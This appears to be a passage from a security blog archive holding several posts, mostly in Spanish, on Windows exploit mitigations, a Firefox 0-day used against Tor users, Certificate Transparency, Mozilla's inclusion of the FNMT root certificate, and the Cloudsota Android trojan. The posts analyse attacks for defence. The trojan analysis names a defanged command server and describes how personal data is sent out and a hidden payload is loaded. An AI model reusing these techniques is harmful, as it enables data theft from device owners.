ganan los "bounties"…), pero para los atacantes es solo un medio. Lo harán si consideran interesante el mercado que pueden alcanzar con ello. Windows es un jugoso objetivo (por varias razones) y por ello está sometido a un duro escrutinio por parte de los atacantes, que consiguen maximizar beneficios rompiendo su seguridad. Y no solo los creadores de malware, sino los que diseñan de ciberarmas de espionaje. Y estos últimos tienen además los recursos suficientes como para hacer un trabajo incluso más fino que los creadores de malware (que de por sí, no lo hacen nada mal). Tras muchos años de ataque (y los que quedan) Microsoft cuenta ya con un bagaje suficiente como para saber cuál es uno de sus mayores problemas en seguridad: la ejecución de código. Las vulnerabilidades van a estar siempre ahí, y la única posibilidad es intentar que no se aprovechen por atacantes. Así, además de intentar crear software con menos vulnerabilidades, se intenta que no se exploten las que van a existir se quiera o no. Para explotarlas es necesario crear exploits, y las técnicas para conseguirlo, al menos, son finitas. Una aproximación más llevadera que las técnicas de detección de malware, que es como barrer el desierto. Microsoft lleva tiempo intentando luchar contra la raíz de la ejecución de código, los exploits y cómo funcionan en memoria. Una estrategia muy interesante que se materializó con EMET, un experimento que ha acabado "integrado" en Windows 10. EMET, el comienzo En 2009 apareció EMET. Una herramienta "outsider" de la propia Microsoft pero apoyada y refrendada. Fue diseñada por un creador de exploits con la premisa de detectar las técnicas habituales de construcción de exploits en memoria. Un proyecto que pronto se demostró muy interesante y útil. Todo un éxito y un campo de experimentación que permitió la situación actual. EMET se inyectaba en los procesos como DLL y vigilaba que nadie explotara en ese proceso una vulnerabilidad usando las técnicas sospechosas habituales. Evolucionó hasta su versión 5.5 (que será la última), donde ya incluía protecciones muy interesantes más allá de las capacidades "antixploit" como ASR, certificate pinning, protección contra fuentes potencialmente daniñas… maduró bastante y, aunque alguna que otra vez se le encontraron problemas, resultaba una aproximación muy interesante contra la ejecución de código. Porque malware habrá millones, pero las técnicas de explotación son finitas. Se intuía que acabaría en el sistema operativo. Al principio (2016), se dio a entender que EMET ya no era necesario en Windows 10. En aquel momento todavía no incluía todo el potencial de EMET, pero las cosas han cambiado. Ahora podemos decir que tenemos Windows Defender Exploit Guard, un buen heredero de EMET… y un paraguas anti-explotación y anti-ejecución en Windows 10. Vamos a centrarnos en la parte de anti-explotación de esta tecnología. EMET, configurado con programas protegidos por más de una docena de técnicas típicas de creaci��n de exploits De EMET a Windows Defender Exploit Guard Windows Defender Exploit Guard son muchas cosas. Toda esta tecnología se engloba dentro de lo que Microsoft llama Windows Defender, que muchos todavía identifican erróneamente en exclusiva con el antivirus. Como muchos antivirus, Windows Defender es ya una especie de Endpoint Security que incluye mucho más que la estricta detección de malware. La tecnología específica de Windows Defender para evitar los exploits es "Exploit Guard". A su vez, dentro de esta tecnología, Exploit Guard aborda cuatro puntos de control: Exploit Protection Attack Surface Reduction Network Protection Controlled Folder Access En esta serie de artículos, nos vamos a centrar en la protección contra exploits. Pero para terminar con esta primera parte, resumimos el resto de puntos. Attack Surface Reduction: ASR Durante 2013, fue necesario "detener" la locura de exploits y problemas de seguridad que aparecían en el plugin Java que utilizan la mayoría de los navegadores. Casi todos acabaron desactivándolo por defecto. Poco después, Flash o Siverlight fueron los objetivos primordiales para llegar a la víctima a través del navegador. En 2012, EMET incorporó una interesante funcionalidad llamada Attack Surface Reduction (ASR) que suponía una importante mejora para la seguridad porque bloqueaba selectivamente la llamada a los binarios que interpretaban estos plugins. El ASR de EMET "original". Ya poco tiene que ver con esto Pero eso quedó atrás y poco tiene que ver lo que Microsoft llama ASR ahora. El navegador Edge ya "se defiende solito" (principalmente porque bloquea por defecto buena parte de los plugins y tecnologías potencialmente peligrosas). Ahora ASR engloba mucho más. En concreto ASR son ahora una serie de reglas configurables destinadas a mitigar de raíz el hecho de que, desde una tecnología, se llame a otra, o sea, reducir su superficie de ataque. Por ejemplo, desde Office a las macros, o exploits, o desde el email a scripts. Básicamente, ASR permite: En Office: combatir principalmente el mayor enemigo actual que son las macros. En los Scripts: bloquear los Powershell, JavaScript y VBScrip potencialmentes dañinos lanzados por otros programas. En los emails: ASR son también reglas configurables específicas para bloquear el contenido potencialmente descargado desde el cliente nativo de correo de Windows. Todo esto se analiza y se implementa a través del propio Defender (que obviamente debe correr en tiempo real). Son como "plugins" adicionales para proteger mejor otros programas que pueden lanzar a su vez código malicioso cuando son explotados. Hablaremos de ASR en otras entregas, porque es más complejo de lo que parece. Network Protection Esta tecnología es sencilla de explicar. En las versiones Enterprise de Windows 10 bloquea directamente el acceso a dominios sospechosos desde cualquier proceso. ¿Y qué es sospechoso? Lo que detecte a su vez SmartScreen como dañino, que ya lo conocemos de antes. Es una especie de “Cortafuegos dinámico” para Windows, que bloqueará los dominios sospechosos desde todo el sistema (no solo en el navegador, como ahora), de forma dinámica y con heurística (no es solo una lista negra). Así evitas que un proceso malicioso llame a un dominio que SmartScreen considera dañino. Si no tienes Network Protection, en otros Windows, SmartScreen te protegerá (mejor o peor) de los dominios por los que navegas. Controlled Folder Access Otra fórmula sencilla específicamente diseñada contra el ransomware. Puedes indicar que quieres que ciertas carpetas sean protegidas para que su contenido no se modifique. En realidad no es mágico. Todo pasa de nuevo por el hecho de que los ejecutables que acceden al contenido de esa carpeta se consideren "de confianza". Hay una lista blanca de programas de confianza que pueden acceder (Office, por supuesto, y otros nativos del sistema operativo), y el resto, no deberían poder llegar a modificar ese contenido. Exploit Protection Y por último, lo que creemos que es más interesante: la protección contra exploits, la consecuencia de EMET más directa y que incluye tecnologías como MemGC, CFG, CIG, ACG, CES, IAF y por supuesto DEP y ASLR… ¿ Sirven para algo en realidad? ¿Qué significa este festival de acrónimos? ¿Éxitos o fracasos? Lo veremos en la siguiente entrega. Consulta el resto de entregas sobre "La lucha de Windows contra la ejecución de código": » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (I) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (II) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (III) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (IV) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (V) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VI) » La lucha de Windows contra la ejecución de código: Éxitos y fracasos (VII)

Todo comenzó con un correo de Sigaint, un servicio de correo público orientado a la privacidad. Una vulnerabilidad previamente desconocida en Firefox estaba siendo aprovechada en esos momentos contra usuarios de Tor (cuyo navegador se basa en Firefox) a través de JavaScript. Un 0-day de verdad (no son 0-day las vulnerabilidades recién descubiertas si no están siendo aprovechadas). Sin haber analizado aún el código, se intuía la gravedad del problema. Veamos qué ha ocurrido y cómo la red Tor combinado con TorBrowser pueden no ser la mejor combinación para conseguir lo que sus usuarios pretenden. El código, sin necesidad de ser analista, resultaba bastante "autoexplicativo". Parte del código del exploit, donde se cargaba una animación para ser interpretada por SVG Algunas líneas permitían deducir que se trataba de un fallo a la hora de procesar animaciones SVG como después se confirmó. Y en otras se adivinaba la ejecución de cadenas ROP (típicamente necesarias para eludir DEP) para conseguir la ejecución de código. Parte del código en el que reserva memoria para preparar la ejecución (luego llama a CreateThread) En JavaScript también se ve cómo utiliza una expresión regular que casa solo con los Firefox utilizados para TorBrowser… ¿Por qué limitarse a este navegador? Probablemente porque el objetivo eran solo los usuarios de esta red, y no los de Firefox, y por tanto, se intuye algún componente de control de internautas que buscan el anonimato. Expresión regular para atacar solo a los TorBrowsers (basados en Firefox) El exploit se tradujo a código máquina, donde se observa a qué IP se conecta. Aunque se podría hacer cualquier cosa en la máquina (el exploit permite la ejecución de código), este en concreto se limitaba a tomar la dirección MAC e IP del equipo y llevársela a una dirección IP en Francia (OVH). Algo muy parecido al exploit que se encontró en 2013 que luego se supo que provenía del FBI. Pero este exploit resulta tan “simple” en su forma como en su intención, que parece más bien una especie de prueba de concepto que se ha hecho pública antes de tiempo. En una sola imagen el exploit con IP, ruta y parte del JavaScript que explota la importante vulnerabilidad en Firefox que se ha usado contra Tor. Los fallos en la red y el navegador Lo llamativo no es tanto que "alguien" vigile a los usuarios de la red Tor (otra vez) e intente sacar su información, como ha sido el caso. A estas alturas, es conocido que la red Tor es la herramienta de anonimato que debes evitar si quieres pasar realmente inadvertido. Inyectar este JavaScript o cualquier otro en un nodo de salida sería sencillo. Tor, es necesario admitirlo, es la red más vigilada (exploits, posibilidad de nodos de salida trampa, posibles colaboraciones con la policía...). No suele ser una opción para los que "de verdad" necesitan anonimato por actividades criminales. O al menos, no por sí solo (se puede combinar con tráfico cifrado punto a punto, navegadores muy limitados, etc). Es una buena opción para el ciudadano medio que quiere privacidad ante las operadoras, gobiernos y publicistas, etc… pero es un secreto a voces que los verdaderos delincuentes buscan alternativas. Tor no ofrece de por sí seguridad, sino en cierta manera anonimato (escondiendo el origen, más específicamente). Para añadir seguridad, es necesario la participación del navegador, en este caso. Y es aquí donde, analizando este incidente, se han desvelado algunas torpezas. El fallo en Firefox al procesar SVG parece que ya se conocía en cierta forma en 2013. SVG no es muy usado hoy por hoy. De hecho, la parte de código de Firefox afectada no se ha tocado en cinco años. Parece que existen desde junio reportes de "crashes" del sistema en esta misma zona de código explotada, lo que podría significar que alguien experimentaba con la vulnerabilidad desde entonces. El exploit no es complejo: no necesita eludir ninguna sandbox. Y aquí se evidencia lo atrás que queda Firefox con respecto a Chrome o IE… no usa procesos aislados por pestaña, no aprovecha una buena sandbox… están en ello, y lo reconocen. Todavía están probando lo efectivo que podría ser una sandbox y aprendiendo qué se necesita hacer Siempre que se habla de seguridad en navegadores, parece que estalla alguna vena sensible más basada en lo visceral que en los hechos. Pero Firefox ha quedado técnica y objetivamente atrás a la hora de implementar medidas de seguridad reactivas y proactivas y no está a la altura del resto. Discutir esto es entrar en filosofía (en el terreno de la privacidad y libertad, donde Firefox sí que funciona mejor que las alternativas...) más que evaluar hechos técnicos. Chrome con niveles de integridad en "no confianza" y procesos separados. Igual Internet Explorer con su AppContainer, mientras Firefox no separa procesos y usa nivel medio. Firefox ha arreglado en tiempo récord el problema, como siempre. Pero la solución es un parche de emergencia que no soluciona el problema de raíz. También ellos mismos lo reconocen. Recordemos que esto abre la puerta a que, como tantas otras veces, un parche rápido que no soluciona el problema permita que el fallo siga siendo explotable. Por poner un ejemplo, con este tipo de parches Tavis Ormandy ya ridiculizó a Red_Hat con shellshock. El parche hace que Firefox haga "crash", pero al menos no se ejecute código. En resumen, resulta llamativo que en 2016 se utilice un exploit tan "sencillo" (porque está basado en código que se encuentra en Firefox desde hace más de 5 años) y que el efecto sea tan devastador (porque el navegador no implementa medidas de contención adecuadas) con el fin de espiar a usuarios especialmente preocupados por su privacidad y seguridad. Ni el navegador Firefox ni la red Tor en sí mismas, son los mejores garantes ni lo uno ni de lo otro.

Se acercan tiempos interesantes para el ecosistema TLS. Certificate Transparency será obligatorio en Chrome para los nuevos certificados (de cualquier tipo) emitidos a partir de octubre de 2017. Es una medida interesante y revolucionaria por varias razones. Principalmente, porque muchos administradores se preguntan a estas alturas qué es eso de Certificate Transparency y cómo les afecta, a menos de un año de que sea prácticamente obligatorio. Se ha hablado muy tibiamente del asunto porque hasta ahora no parecía encontrarse muy maduro el concepto (solo hay que darse un paseo por su lista pública de discusión para ver cuestiones que hasta hace poco se encontraban "suspendidas"). Vamos a intentar ahondar un poco. El qué Encontraréis varios artículos sobre Certificate Transparency, pero no demasiada información que permita entender todos sus aspectos prácticos. Certificate Transparency es un mecanismo ideado y apoyado desde Google para luchar contra el problema que más preocupa desde hace tiempo en el mundo web: el asunto de los certificados falsos o emitidos erróneamente en nombre de otro. Como ya se han dado varios casos graves de emisión de certificados fraudulentos por parte de autoridades comprometidas (o con políticas de creación "relajadas"), con Certificate Transparency se intenta atajar el problema. Se podía decir que es un método alternativo o complementario al Certificate Pinning (en todas sus variantes), a DANE, Convergence, TACK... pero con muchas más posibilidades que el resto de implantarse como estándar. En ningún momento desplaza a otras soluciones conocidas. No se emplaza por tanto dentro del conjunto global de soluciones de Certificate Pinning (EMET, CertPatrol, HPKP…)… es algo totalmente aparte. Un ejemplo de bloqueo (por cierto, correspondiente a un fallo en Chrome) de cómo bloqueará Chrome las páginas Hay ejemplos en los que aplicaría esta técnica para todos los gustos. De hecho, "sospechosamente", Google es quien ha alertado más y mejor en los últimos tiempos sobre certificados robados o creados para un uso sospechoso. El primero en enterarse. ¿Por qué? Porque Certificate Transparency ya lleva en pruebas desde hace algunos años, y porque para eso Chrome es suyo y les permite impulsar estándares a los que al resto no le queda más remedio que implementar. Tener un navegador propio con tanta cuota de mercado ha sido fundamental para impulsar tanto la política de mejora criptográfica de certificados, como Certificate Transparency, HPKP (donde va por delante del resto)… y muchos otros estándares que está liderando. Chrome les ha sido muy rentable. Por ejemplo, al hacer que Chrome bloquee los certificados no "declarados", consigue que el protocolo sea adoptado en buena parte, y que su navegador se encuentre siempre a la vanguardia. No hay duda de que tanto en medidas de seguridad incorporadas como en la implementación de protocolos de seguridad tanto activos como pasivos, es el navegador que marca el ritmo. El cómo ¿Y qué aproximación ofrece Certificate Transparency para solucionar el problema de los certificados robados? Una muy sencilla en teoría. Como su propio nombre indica: se trata de ser absolutamente transparentes con la emisión de certificados. El principal problema de los certificados falsos emitidos es que el atacante podía usarlos sin que nadie más se diese cuenta y sin que saliesen de su entorno de acción. Podían montar una web fraudulenta con ese certificado falso, redirigir a la víctima, y nadie más tendría conocimiento del ataque. Así se ve ahora la información sobre Certificate Transparency en Chrome. En este caso chromium.org utiliza una extensión TLS La idea por tanto es simple: hagamos que todos los certificados deban estar dados de alta en un gran escaparate. Que se muestren tal y como son y dejando bien claro para quién están emitidos en un servidor público y consultable. Un enorme repositorio de certificados al que llaman "logs". Hasta aquí, esto se parece mucho al proyecto PULSE que recorría internet buscando certificados. Pero es que si lo dejamos “hasta aquí” esto no ayudaría a combatir el fraude. Hay algo más. El navegador, consultará que todos los certificados que visita tengan una prueba de que están esa base de datos y si el certificado no demuestra estar publicado en ese escaparate universal, no dejará ver la página. Esto deja al atacante en una posición compleja. Si quiere engañar a alguien, tiene dos opciones: o publica su certificado falso en el repositorio universal y aumentan muchísimo sus posibilidades de ser cazado, o bien no publica ese certificado falso y la víctima no caerá en la trampa porque el navegador se negará a entrar en la página. ¿Sencillo? Desde el punto de vista logístico parece simple y eficaz, desde el punto de vista práctico conlleva varios inconvenientes. Sobre todo… ¿cómo sabes si un certificado que se hace "público" es falso o no? ¿quién lo vigila? ¿cada cuánto? ¿cómo se sabe si ese escaparte contra el que comparas es falso o no? ¿quién se encarga de dar de alta los certificados? Son preguntas sobre las que se ha debatido bastante. Incluso alguna no está totalmente resuelta o no se sabe cómo será aplicada finalmente. Por qué ¿Por qué se considera que ya está maduro el ecosistema como para que sea obligatorio? (siempre pensando en que obligatorio para Google, significa que Chrome lo impone y otros le siguen, como siempre). Lo cierto es que Certificate Transparency ya era obligatorio… pero solo para los certificados con Extended Validation emitidos desde el uno de enero de 2015, así que el siguiente paso era lógico. También parece que la infraestructura necesaria ya está madura. Para montar un sistema de Certificate Transparency, como se ha mencionado, hace falta una figura fundamental que se llama "logs". Certificate logs: Serán servidores que escuchan, graban y firman. Se les proporciona certificados recopilados por Google (nadie tiene una visión más amplia de Internet) y lo almacenan en una estructura de árbol Merkel. Esto significa que cada certificado es una hoja (en realidad, cada cadena válida de certificados), y la raíz se firma. Nada se borra nunca (están en modo "append-only"), todo queda grabado. Dan fe de todo lo que ha ocurrido criptográficamente, que no fue nunca modificado, y se comprometen a añadir cada certificado que se le ofrece. Es una especie de BlockChain, si queremos verlo así. Existen dos logs principales de Google por ahora, y otros que tienen menos información. Los "oficiales" se llaman "aviator" y "pilot", anque aquí se pueden consultar todos, además de los incluidos en Chrome actualmente. Al certificado que se introduce en el árbol se le da un "Signed Certificate Timestamp" o SCT que viene a ser un puñado de bytes que significan que "quedas añadido al log, fue en este instante". En realidad se añade un poco después (el tiempo que tardar el árbol Merkel en "reconfigurarse" y refirmar su raíz), y el SCT viene a ser una "promesa" de que se añade en un intervalo de tiempo, pero a efectos prácticos es un ticket que garantiza haber entrado en el log en un momento dado. Este ticket debe ir con el certificado todo el tiempo, para que allá donde se presente el certificado (cada vez que se visita una web) el navegador o cliente pueda "echarle un ojo" y comprobar que todo está correcto. La lista de logs a consultar están en el navegador. Por ahora Google tiene varios montados y existen otros (de CAs principalmente) que consulta Chrome, pero cualquiera podría montar alguno… el asunto sería si te puedes fiar de ellos. Los logs pueden ser operados por cualquiera que lo desee. Siempre que mantenga su "reputación" será tan válido como los oficiales de Google. Se opera con ellos gracias a una API a través GET y POST, y no tienen por qué interactuar ni replicarse entre ellos. Cualquiera puede enviar certificados a los servidores de logs, pero se supone que serán las CA las que los "registren". Ojo, no se consulta a los logs antes cada certificado para ver si ha sido incrustado, sino que se aprovecha su SCT, como si de un OCSP stapling se tratase. En el caso de Eleven Paths, el SCT está en el propio certificado incrustado Hay detalles más técnicos "escabrosos", como por ejemplo dónde estará físicamente ese SCT que acompaña al certificado todo el rato y que es su garantía de estar expuesto en el escaparte que suponen los logs. Podrá hacerlo de tres formas diferentes: como una extensión X.509v3. Quizás esto sea lo más cómodo para los certificados recién creados. La extensión elegida (OID 1.3.6.1.4.1.11129.2.4.3 para el precertificado y 1.3.6.1.4.1.11129.2.4.2 para la prueba final) e implica "incrustarlo" en el momento de la creación y esto implica a su vez otras complicaciones adicionales en las que no entraremos pero que se apoyarán en el concepto de "precertificados"; Otra fórmula sería añadirlo a través de una extensión del proprio protocolo TLS (0x0012) aunque esto implica que el dueño del servidor debe enviar el SCT a quien le visite desde las extensiones TLS del protocolo y por tanto, debe reconfigurar su servidor… algo quizás engorroso; La última opción es reaprovechar una respuesta OCSP (con OID 1.3.6.1.4.1.11129.2.4.5) para incrustar ahí el SCT, pero teniendo en cuenta que OCSP ya tiene sus propios problemas, quizás sea la opción menos elegida. Sea como sea, el navegador consultará gracias al SCT si el certificado se encuentra en los logs. El RFC recomienda que se consulte en al menos tres logs diferentes. De las tres posibilidades, la red muestra que este sitio tiene el SCT incrustado en el navegador ¿Quién vigila al vigilante? Otra figura dentro del ecosistema de Certificate Transparency podrán ser los monitores de esos servidores. Serán los policías de los logs. Se conectan para ver las nuevas entradas y comprobar la validez criptográfica. Las CA estarán interesadas sin duda en funcionar como monitores… pero cualquiera podría hacerlo. A la última figura del esquema la llaman "Auditores". Típicamente serán los navegadores. Verificarán si un certificado concreto aparece en un log, y actuarán en consecuencia. Pueden pensar que el no aparecer es ya de por sí sospechoso (esto es lo que harán a partir de octubre de 2017). También deben valorar que el log que consultan es de fiar y no se ha modificado nada en ellos, verificando su consistencia criptográfica. Estos serán los chivatos que alertarán cuando un certificado tenga indicios de estar haciendo algo raro. El navegador aceptando la respuesta SCT de un certificado En resumen Esto vuelve a tener sus puntos ciegos. Un atacante puede enviar a los logs un certificado falso y obtener su SCT. Hemos hablado de que existe un tiempo medio en el que los logs recomponen su árbol con los nuevos logs y firman su raíz (se le llama MMD). Si los clientes no rechazan los certificados con un SCT pero que aún no han sido incluidos oficialmente, si aceptan ese tiempo de gracia (que suele ser 24 horas), el atacante tiene una oportunidad de actuar. A partir de que se incluya formalmente en el árbol, se supone que pueden ser públicamente auditados y el atacante sería cazado… pero de nuevo… ¿cuánto puede tardar en auditarse? Si no hay nadie mirando, todo el tiempo que sea necesario, por lo que la potencial ventana de ataque se agranda en mínimo 24 horas y máximo el tiempo de auditoría. Aunque ya fuese obligatorio para los EV, pocos esperaban que estuviera listo para el resto de certificados en octubre de 2017. Se presentan nuevas oportunidades donde un atacante podrá montar logs falsos, insertar certificados no válidos, se detectarán sin duda fallos en el protocolo, situaciones no previstas, denegaciones de servicio... Sin contar con que, una vez detectado un mal uso gracias a Certificate Transparency, los mecanimos de revocación serán los mismos con sus mismos problemas... CRL, OCSP, CRLSets... tiempos interesantes, como anunciábamos al principio. Obviamente esto obliga al resto de navegadores a reaccionar. Chrome ha sido el primero, pero probablemente el resto deberán ponerse al día. Esta iniciativa no está solo apoyada e impulsada por Chrome, sino por el CA/Browser Forum. No sería raro ver a Firefox usando los logs de Chrome, pero Edge/Internet Explorer quizás no lo tengan tan claro y monten sus propios logs. Por ahora no mantienen ninguno. Aunque teniendo en cuenta que todavía Microsoft no utiliza ni implementa HPKP, tendrán tiempo para pensárselo. Por último, solo un apunte: es probable que pronto tengamos una cabecera HTTP relacionada con Certificate Transparency. Lo va a proponer Google para quien quiera optar a estar en Certificarte Transparency incluso antes de octubre de 2017.

Firefox 49 incluirá el certificado raíz de la FNMT tras ocho años esperando… o al menos eso parece. Muchas páginas oficiales de organizaciones gubernamentales españolas utilizan un certificado expedido por la Fábrica Nacional de Moneda y Timbre. Internet Explorer y Chrome utilizan el mismo repositorio de certificados raíz (el del sistema operativo) mientras que Mozilla tiene su propio criterio más restrictivo para incluir certificados en los que confía. Desde 2008 se intentaba que el certificado raíz de la FNMT cumpliera los requisitos para navegar sin alertas . ¿Qué ha pasado durante todo este tiempo? ¿Por qué no se incluía? Este mes la discusión ha llegado a un acuerdo y parece que se incluirá en la versión 49 (que ya está en beta)… pero no es seguro todavía. Esto es lo que ven los usuarios cuando se conectan a muchas páginas de organismos oficiales en España Para muchos usuarios de Firefox, utilizar cualquier certificado emitido por la FNMT ha supuesto un incordio durante muchos años. Esto en el mejor de los casos (que conocieran qué estaba pasando en realidad) puesto que se solucionaba instalando el certificado raíz en el navegador o añadiendo la excepción. Para los que no fueran conscientes de esto, simplemente obtendrían un mensaje que probablemente les hiciera pensar en algún tipo de espionaje o malware alojado en su equipo. El problema se conoce de siempre, y ya en 2008 se pidió en Bugzilla que se resolviera. Pero el certificado raíz de la FNMT no cumplía con la política de inclusión de Firefox. ¿Qué ha pasado en este tiempo? Desde 2008 Mensaje inicial de petición para incluir el certificado En mayo de 2008 se inicia la petición oficial. Por aquel entonces Firefox 3 estaba a punto de salir, y se valoraba (ingenuamente) la posibilidad de incluir ya el certificado en él. En octubre, se quejan del problema varios usuarios explicando que es muy necesario para decenas de gestiones online en España. Kathleen Wilson de la fundación Mozilla se encarga desde entonces de las gestiones para conseguir que el certificado pase las pruebas… y comienza el calvario. Durante 2009 El primer análisis del certificado ya en 2009 encuentra muchos problemas. Su clave es de 1024 bits. Debe contar con un CRL público para revocaciones, se debe asegurar de que no se emiten CAs subordinadas con él, se debe comprobar que cada dominio para el que se emite corresponde a su dueño, y pasar una serie de auditorías realizadas por empresas independientes… entre otras condiciones. Algunos puntos se aclaran con una simple respuesta en Bugzilla, otros comienzan a dar problemas en los que Firefox no cede. Entre respuesta y respuesta, pueden pasar semanas o meses. La tensión se palpa y la comunidad española de Mozilla calcula el tiempo entre respuestas para recriminar quién tarda más en contestar o tomarse en serio el asunto (si Mozilla o la FNMT). "Even if 131 days is proof that Mozilla needs reviewing his process to get CAs accepted, the 240 days delay by FNMT, 180 days without a single commment, is completely unacceptable.". Mozilla pide que un representante de la FNMT, no la comunidad, realice a partir de entonces ciertas gestiones. Estamos ya en junio de 2009. El representante aparece en octubre y se hace cargo hasta hoy. Primeras quejas en 2009 2010 "Please move this. We all Spaniards need these certificates", se puede leer entre la discusión. Kathleen llega a 2010 con problemas menores y continúa con preguntas y necesidades no cubiertas para entrar en el club de certificados raíz de Mozilla. En este punto, es la propia FNMT la que retrasa el proceso por no cumplir ciertas especificaciones técnicas. "To all Spanish users: please, don't add noise to this bug. Most of the delay in this process is due to FNMT (see comment #18), so distracting Mozilla staff from other tasks doesn't help at all. Instead, ping FNMT staff (in an educated manner, please!!) through their web contact form" En febrero de 2010, la FMNT pide desbloquear la situación, porque cree ya haber aportado todo lo necesario. Mozilla se queja de textos en español, y que no puede copiarlos y pegarlos por ser PDFs protegidos. La comunidad los traduce por ellos, pero hay otros problemas con OCSP e incomprensibles laberintos burocráticos y de responsabilidades añadidos a problemas técnicos. De 2011 a 2014 Llega 2011 y comienza el proceso de auditoría. Una empresa técnica debe emitir un informe, que es validado por ASIMELEC (Asociación Multisectorial de Empresas de Tecnologías de la Información, Comunicaciones y Electrónica). Una vez completada buena parte de la burocracia y resueltos muchos problemas, el proceso pasa a "discusión pública" en Mozilla, una maniobra que debe esperar una cola que va por orden, y en la que hay que esperar literalmente semanas para escalar cada puesto. Llega a discusión pública en febrero 2012. Pero ahora es necesario volver a validar los documentos anteriores y corregir nuevos bugs. Falta la versión actualizada del CPS (Certificate Practice Statement). Las conversaciones se dilatan. Pasan meses entre respuestas. Los usuarios se cansan de protestar. Estamos en 2014 y Kathleen todavía espera a algunos representantes a que respondan ciertas dudas y preguntas. Cada parte tarda en responder ante cada duda o documento solicitado Ya en 2015 Comienza una discusión sobre qué bits se quieren activar en el certificado (Websites, Email, Code Signing) y la necesidad de obtener nuevas auditorías externas y demostrar que se han seguido ciertos criterios de estándares. La FMNT cree que muchos requerimientos se solapan entre ellas y que no todos son necesarias. Siguen problemas técnicos con OCSP. Una ver recopilados los documentos y resueltas ciertas dudas, el proceso pasa a "discusión pública" de nuevo en Mozilla en octubre de 2015. En este 2016 Se solucionan problemas menores de nomenclatura. Existen conflictos entre la ley española y la exigencias del cabforum.org (CA/Browser forum, entidad que fija los estándares de interacción entre estas entidades). Hasta que finalmente en un mensaje de Kathleen el 11 de agosto de 2016… Mensaje que recomienda cerrar el fallo y aprobarlo ... se recomienda el cierre de la discusión y la aprobación "del fallo", lo que implica que posiblemente en sucesivas versiones se incluya el certificado, si todo va bien. ¿Conclusiones? Muchas. Es posible que la nueva versión 49 incluya el certificado, aunque la versión beta, firmada el 22 de agosto, no lo hace. La versión beta, fechada el 22 de agosto, no contiene el certificado todavía Con respecto a los problemas burocráticos, una buena parte se resume en esta entrada de Bugzilla. Resumen de la situación Pero por otro lado: El proceso de inclusión de certificados en Firefox es engorroso de por sí. Unido a que lo emita una organización gubernamental (ya engorrosa en la gestión de todos sus procedimientos de por sí) probablemente ha influido bastante en que este proceso haya durado 8 años. La organización de Mozilla tampoco es especialmente ágil. Manejan sus propios tiempos y prioridades. Pero la reflexión puede ir un poco más allá. ¿Están justificadas las reticencias de Mozilla? Han seguido estrictamente un protocolo de seguridad y calidad que garantiza un mínimo más que aceptable y esto es muy positivo, pero en la práctica, ¿de qué ha servido? Los usuarios no han podido utilizar su navegador para innumerables gestiones durante años y, si el fin era proteger, realmente durante este periodo han protegido de poco al usuario, puesto el certificado ya está incluido en Windows al menos para Chrome e Internet Explorer. El sistema ya confía en él. ¿Y si durante este tiempo el certificado hubiera sido comprometido o se hubiera utilizado ilegítimamente? Esto es uno de los objetivos del duro proceso establecido por Mozilla: evitar que ocurra o mitigar el problema si finalmente pasa… ¿Habría llevado razón Mozilla al no haber confiado en él? Es posible, pero realmente no hubiera marcado la diferencia, puesto que los usuarios ya saben que no se puede utilizar Mozilla para ciertas gestiones y hubieran acudido a otro navegador que no les hubiera protegido de un mal uso de ese certificado. Los certificados ya se encuentran en el repositorio de confianza de Windows ¿Significa esto que Mozilla debe relajar sus condiciones e incorporar los mismos certificados del sistema en su propio repositorio? No, porque efectivamente, en el sistema existen varias CA que el usuario probablemente no utilizará jamás (organizaciones gubernamentales de países totalmente ajenos, por ejemplo… puedes comprobarlo con SSLCop) y que es un problema conocido desde hace tiempo… No, Mozilla no tiene por qué replicar tal cual o usar el repositorio del sistema operativo (como hace Chrome) pero al menos quizás sería sensato haber llegado en este caso a un acuerdo de compromiso. Es loable seguir unas normas que elevan el listón, pero también buscar alternativas si tardan 8 años en aplicarse. Sobre todo si durante el proceso se gana poco o nada en seguridad a efectos prácticos. ¿Dónde está el límite en el que se debe insistir en resolver los estrictos procedimientos pero mientras se resuelven, los usuarios se mantienen descontentos y alejados de la propia protección que se les quiere proporcionar? Por último, esto no deja de ser otra demostración de que el modelo TLS tradicional de CAs necesita cambios urgentes que lo simplifiquen, agilicen y lo hagan más robusto. Las diferentes iniciativas de Certificate pinning son una consecuencia de estos cambios. Por cierto, que la FNMT no utiliza ni HSTS ni HPKP. * También te puede interesar: Nueva herramienta: PinPatrol, un add-on para Firefox para el control de HSTS y HPKP Más información sobre certificados digitales:

Researchers from Cheetah Mobile have found Trojans preinstalled in some cheap Amazon tablets, very hard to remove. But, here in ElevenPaths we have found that a version of this Trojan is present right now in Google Play hidden as a HTML 5 games application. The malware has been dubbed " Cloudsota". The app, still in Google Play, made by the same band of "Cloudsota". The Trojan found by Cheetah Mobile, is preinstalled in tablets, restores itself after reboots if deleted, hijacks the browser homepage and downloads apps from some servers to install them silently if the device is rooted (which, in these tablets, is very likely). We found a very similar behavior in a Google Play app, downloading apps from the same servers and with quite similar code. What we can be sure is that is made by the same people behind this Cloudsota. Although maybe with enough changes to be able to get in the official market. How it works Once the apps found by Cheetah were analyzed, thanks to Tacyt, we found a strong correlation with just one out of 4.6 million apps in our database. It has been in Google Play since August 2015. This app, when booting or if a user is present (unlocks the screen), calls a method called "b" inside the com.android.ThreeTyCon.c class, that visits this site hxxp://union.dengandroid.com/getconfig and sends some interesting information. JSon sent to the server before being encoded After sending some encoded personal information (email, MAC, if the device is rooted or not, etc) it finally downloads (with some encoding as well) a dex file called business.dex. We guess the file may be different depending on this information previously sent. The code to download and use business.dex This business.dex is terribly offuscated, and contains most of the malicious code. Business.dex is as well programmed to download different versions of business_X.dex (the X depends on the configuration in the device) that we suppose that makes its behavour quite unpredictable. If busybox util is found in the device, it tries to load libraries, install and uninstall apps... This is done just before business.dex is downloaded, we guess this is for uninstalling any antivirus the user may have just before downloading the (even more) malicious code, that is more likely to be detected. Triying to uninstall code As far as we know, the app itself or the business.dex does not contain code to survive and install itself after reboot or hijack the homepage, but it definitely could, as we can see some references in the code. It may hijacks the homepage Aside, it shares with Cheetah samples, the use of a very particular library libshellcmd.so. It uses libshellcmd.so, shared with Cloudsota The app in Google Play is detected by some antiviruses. But most of them do not detect the app because of this behavior, but because of it containing some Airpush SDK code. Airpush was considered a potentially 